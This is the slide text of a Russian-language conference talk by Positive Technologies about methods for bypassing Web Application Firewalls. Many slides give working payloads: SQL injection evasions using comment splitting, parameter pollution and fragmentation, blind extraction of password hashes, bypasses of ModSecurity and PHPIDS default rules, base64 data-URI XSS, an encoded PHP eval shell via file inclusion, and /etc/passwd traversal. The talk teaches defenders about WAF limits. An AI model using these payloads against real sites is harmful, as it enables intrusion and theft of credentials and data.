Методы обхода Web Application Firewall Дмитрий Евтеев Positive Technologies. - презентация

1 Методы обхода Web Application Firewall Дмитрий Евтеев Positive Technologies

2 О чем пойдет речь Опасный мир Web-приложений Какие бывают "спасители" от угроз Web Application Firewall, что за новомодный зверь такой? Методы обхода Web Application Firewall Практика обхода Web Application Firewall Пример из практики или почему CC09 не был взломан Резюме

3 Опасный мир Web-приложений Статистика уязвимостей Web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - OWASP Top-10 SANS Top-20

4 Опасный мир Web-приложений Статистика уязвимостей Web-приложений WASC за 2008 год (Whitebox Sites %) -

5 Подходы по снижению угроз Директивный подход (Directive) Software Development Life Cycle (SDLC), «бумажная безопасность», выстраивание высокоуровневых процессов Детективный подход (Detective) Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода Профилактический подход (Preventive) Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)

6 Что такое WAF Нас атакуют! Ахтунг!!! WAFWebserver Нормализация данных Decode HTML entities (e.g. c, ", ª) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is...

7 Какие они бывают По режиму работы: Мост/Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты: Основанный на сигнатуре (Signature-based) Основанный на правилах (Rule-based) По реакции на «плохой» запрос: «Очистка опасных» данных Блокировка запроса Блокировка источника атаки

8 Методы обхода WAF

9 Фундаментальные ограничения технологии Неспособность полностью защитить Web-приложение от всех возможных уязвимостей Общие проблемы При использовании универсальных фильтров WAF приходится балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte, etc)

10 Небезопасное восстановление паролей (Weak Password Recovery Validation) Методы обхода WAF – Фундаментальные ограничения IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu

11 Практика обхода WAF. Глава I Внедрение операторов SQL (SQL Injection) WASC: OWASP:

12 SQL Injection – Базовые знания Выделяют два вида SQL Injection SQL Injection в строковом параметре Пример: SELECT * from table where name = 'Name' SQL Injection в цифровом параметре Пример: SELECT * from table where id = 123 Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения Уязвимый запрос может попасть в Insert, Update, Delete, etc Пример: UPDATE users SET pass = '1' where user = 't1' OR 1=1--' Blind SQL Injection (слепое внедрение операторов SQL) Пример: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark( ,md5(now()))) Особенности эксплуатации для разных СУБД Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3 Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3

13 Практика обхода WAF: SQL Injection - нормализация Пример (1) уязвимости в функции нормализации запроса Следующий запрос не позволяет провести атаку /?id=1+union+select+1,2,3/* В случае наличия соответствующей уязвимости в WAF, такой запрос успешно отработает /?id=1/*union*/union/*select*/select+1,2,3/* После обработки WAF, запрос примет следующий вид index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/* Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки

14 Практика обхода WAF: SQL Injection - нормализация Пример (2) уязвимости в функции нормализации запроса Аналогично, следующий запрос не позволяет провести атаку /?id=1+union+select+1,2,3/* В случае наличия соответствующей уязвимости в WAF, такой запрос успешно отработает /?id=1+un/**/ion+sel/**/ect+1,2,3-- SQL запрос примет вид SELECT * from table where id =1 union select 1,2,3-- Вместо конструкции /**/ могут использоваться любые наборы символов, вырезаемые WAF (eq #####, %00, etc) Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)

15 Практика обхода WAF: SQL Injection – HPP (пример 1) Использование HTTP Parameter Pollution (HPP) Следующий запрос не позволяет провести атаку /?id=1;select+1,2,3+from+users+where+id=1-- Используя HPP, такой запрос успешно отработает /?id=1;select+1&id=2,3+from+users+where+id=1-- Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения OWASP EU09 Luca Carettoni, Stefano diPaola niDiPaola_v0.8.pdf

16 Практика обхода WAF: SQL Injection – HPP Как это работает?

17 Практика обхода WAF: SQL Injection - HPP Технология/Среда Интерпретация параметров Пример ASP.NET/IISСклеивание через запятуюpar1=val1,val2 ASP/IISСклеивание через запятуюpar1=val1,val2 PHP/APACHEПоследний параметр результирующийpar1=val2 PHP/Zeus Последний параметр результирующийpar1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующийpar1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующийpar1=val1 JSP,Servlet/Jetty Первый параметр результирующийpar1=val1 IBM Lotus Domino Первый параметр результирующийpar1=val1 IBM HTTP Server Последний параметр результирующийpar1=val2 mod_perl,libapeq2/Apache Первый параметр результирующийpar1=val1 Perl CGI/Apache Первый параметр результирующийpar1=val1 mod_perl,lib???/Apache Первый параметр результирующийpar1=val1 mod_wsgi (Python)/Apache Возвращается массивARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующийpar1=val1 IceWarp Возвращается массив['val1','val2'] AXIS 2400Последний параметр результирующийpar1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятуюpar1=val1,val2 Ricoh Aficio 1022 Printer Последний параметр результирующийpar1=val2 webcamXP Pro Первый параметр результирующийpar1=val1 DBMan Склеивание через две тильдыpar1=val1~~val2

18 Практика обхода WAF: SQL Injection – HPP (пример 2) Использование HTTP Parameter Pollution (HPP) Уязвимый код SQL=" select key from table where id= "+Request.QueryString("id") Используя технику HPP, такой запрос успешно отработает /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&i d=*/users SQL запрос примет вид select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users Lavakumar Kuppan,

19 Практика обхода WAF: SQL Injection – HPF Использование HTTP Parameter Fragmentation (HPF) Пример уязвимого кода Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']); Следующий запрос не позволяет провести атаку /?a=1+union+select+1,2/* Используя HPF, такие запросы могут успешно отработать /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- SQL запросы принимают вид select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users /msg00080.html

20 Практика обхода WAF: Blind SQL Injection Использование логических запросов AND и OR Следующий запрос для многих WAF позволяет успешно провести атаку /?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Вместо знака равенства может использоваться отрицание или неравенство (!=, , ) – Парадокс! Но многие WAF это пропускают. Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, становится возможным эксплуатировать уязвимость методом blind-SQL Injection substring() -> mid(), substr(), etc ascii() -> hex(), bin(), etc benchmark() -> sleep() Данный пример справедлив для всех WAF, разработчики которых стремятся охватить как можно больше Web-приложений

21 Практика обхода WAF: Blind SQL Injection Пример разнообразия логических запросов and 1 or 1 and 1=1 and 2

22 Практика обхода WAF: Blind SQL Injection Пример различного представления запроса с одной смысловой нагрузкой select user from mysql.user where user = 'user' OR mid(password,1,1)='*' select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 select user from mysql.user where user = 'user' OR position(0x2a in password)=1 select user from mysql.user where user = 'user' OR locate(0x2a,password)=1 select user from mysql.user where user = 'user' OR substr(password,1,1)=0x2a select user from mysql.user where user = 'user' OR substring(password,1,1)=0x2a …

23 Практика обхода WAF: Blind SQL Injection Известные: substring((select 'password'),1,1) = 0x70 substr((select 'password'),1,1) = 0x70 mid((select 'password'),1,1) = 0x70 Новые: strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 STRCMP(expr1,expr2) возвращает 0 если последовательности равны, -1 если первый аргумент меньше второго, и 1 в противном случае. functions.html

24 Практика обхода WAF: Blind SQL Injection Blind SQL Injection – это не всегда использование AND и OR! Примеры уязвимого кода Query("select * from table where uid=".$_GET['uid']); Query("select * from table where card=".$_GET['card']); Пример эксплуатации false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B первый символ hash = B false:... false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B второй символ hash = A

25 Практика обхода WAF: SQL Injection – обход сигнатур Пример по обходу сигнатур Следующий запрос попадает в сигнатуру WAF /?id=1+union+(select+1,2+from+users) Но порой, используемые сигнатуры можно обойти /?id=1+union+(select+'xz'from+xxx) /?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) /?id=(1)or(0x50=0x50) …

26 Практика обхода WAF: SQL Injection – обход сигнатур PHPIDS ( ) – default rules Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1 Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1 Ругается на: /?id=1+OR+1=1 Но пропускает: /?id=1+OR+0x50=0x50 Ругается на: /?id=substring((1),1,1) Но пропускает: /?id=mid((1),1,1)

27 Практика обхода WAF: SQL Injection – обход сигнатур Mod_Security (2.5.9) – default rules Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74 Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Ругается на: /?id=1+OR+1=1 Но пропускает: /?id=1+OR+0x50=0x50 Ругается на: /?id=1+and+5=6 Но пропускает: /?id=1+and+5!=6 Ругается на: /?id=1;drop members Но пропускает: /?id=1;delete members И пропускает: /?id=(1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy')

28 Резюме: Глава I - SQL Injection Атака SQL Injection может быть успешно реализована в обход WAF во всех следующих случаях: Присутствие уязвимостей в функциях нормализации запроса WAF Использование техник HPP и HPF Обход правил фильтрации (сигнатур) Эксплуатация уязвимости методом blind SQL Injection Атака на логику работы приложения (and & or)

29 Практика обхода WAF. Глава II Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) The Cheat Sheet: WASC: html OWASP:

30 Cross-Site Scripting – Базовые знания Условно Cross-Site Scripting (XSS) делят на: Сохраненный вариант (persistent/stored) Отраженный вариант (non-persistent/reflected) Cross-Site Scripting обычно можно встретить: В HTML теге В теле JavaScript/VBScript/etc (eq DOM-based) В коде HTML В параметре тега HTML В Java Во Flash Cross-Site Scripting – это уязвимость на стороне клиента (client side) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension

31 Общие проблемы Сохраненный вариант XSS В случае, если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки Отраженный вариант XSS в Javascript Пример:... setTimeout(\"writetitle()\",$_GET[xss])... Эксплуатация: /?xss=500); alert(document.cookie);// DOM-based XSS Пример:... eval($_GET[xss]);... Эксплуатация: /?xss=document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8) Методы обхода WAF – Cross-Site Scripting

32 Практика обхода WAF: Cross-Site Scripting XSS через перенаправление запроса Уязвимый код: … header('Location: '.$_GET['param']); … А также: … header('Refresh: 0; URL='.$_GET['param']); … Такой запрос WAF не пропустит: /?param=javascript:alert(document.cookie) Подобный запрос WAF пропустит и XSS отработает на некоторых браузерах (Opera, Safary, Chrom, etc): /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Njc mlwdD4= /msg00116.html

33 Практика обхода WAF: Cross-Site Scripting Использование HPP, HPF иногда позволяет обойти фильтры Обход правил фильтрации на примере ModSecurity: ";document.write(' ');"... BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) 09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

34 Резюме: Глава II - Cross-Site Scripting Атака Cross-Site Scripting может быть успешно реализована в обход WAF во всех следующих случаях: Эксплуатация DOM-based XSS Использование техник HPP и HPF Аналогично эксплуатации SQL Injection - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF

35 Практика обхода WAF. Глава III Обратный путь в директориях и инклудинг файлов (Path Traversal, Local/Remote File Including) WASC: OWASP:

36 Path Traversal, L/RFI– Базовые знания Пример уязвимости Path Traversal Логика программы: index.php?file=myfile Пример эксплуатации: index.php?file=/../../../../../etc/passwd%00 Опасность уязвимости Local File Including Функции include() и require() интерпретируют текст, как часть программного кода! Пример эксплуатации: index.php?file=img/command_shell.jpg%00 Рождение Remote File Including Если allow_url_fopen & allow_url_include в состоянии enable, то: index.php?file=

37 Практика обхода WAF: Path Traversal Пример уязвимости path traversal Логика программы: Эксплуатация уязвимости: /?id=/union%20select/../../../../../../../etc/passwd Запрос принимает вид: Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам

38 Практика обхода WAF: Path Traversal и LFI Действительно, обойти сигнатуру «../» и «..\» не всегда возможно, но всегда ли это требуется? Пример 1. Чтение файлов в каталоге, расположенного выше корневого Логика программы: Эксплуатация уязвимости: /?file=secrets/admins.db/./.[N]/./. /?file=secrets/admins.db..[N].. Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой: -Нормализация пути (лишние символы, например, «/» и «/.» удаляются) - Усечение пути (определяется константой MAX_PATH, которая обычно меньше MAX_URI_PATH в WAF)

39 Практика обхода WAF: Path Traversal и LFI Пример 2. Выполнение команд на сервере Логика программы: Эксплуатация уязвимости: Запрос, отлавливаемый WAF: /?file=data:, &cmd=phpinfo(); Запрос, который WAF пропускают: /?file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk 7ID8%2b&cmd=phpinfo(); Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable) reference: коллективный разум antichat.ru

40 Практика обхода WAF: Remote File Including Фундаментальные ограничения WAF (универсальный фильтр будет блокировать легитимные запросы!) Примеры легитимных запросов в логике крупных WEB ресурсов: Перенаправление HTTP-запроса: Обычная запись в Wiki: Online переводчик:

41 Резюме: Глава III - Path Traversal, L/RFI Атака Path Traversal, L/RFI может быть успешно реализована в обход WAF во всех следующих случаях: Фундаментальные проблемы (RFI) Аналогично предыдущим двум главам - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF

42 Пример из практики или почему CC09 не был взломан...and+if((ascii(lower(mid((select...

43 Резюме WAF – это не долгожданная "серебряная пуля" В силу своих функциональных ограничений, WAF не способен защитить Web-приложение от всех возможных уязвимостей, которым оно может быть подвержено Необходимо проведение адаптации фильтров WAF под защищаемое Web-приложение WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки Концептуальные проблемы WAF – использование сигнатурного принципа (будущее за поведенческим анализом?) WAF является полезным инструментом в контексте построения эшелонированной защиты Web-приложений Закрытие вектора атаки до момента выхода исправления от разработчика, устраняющее уязвимость

44 Спасибо за внимание!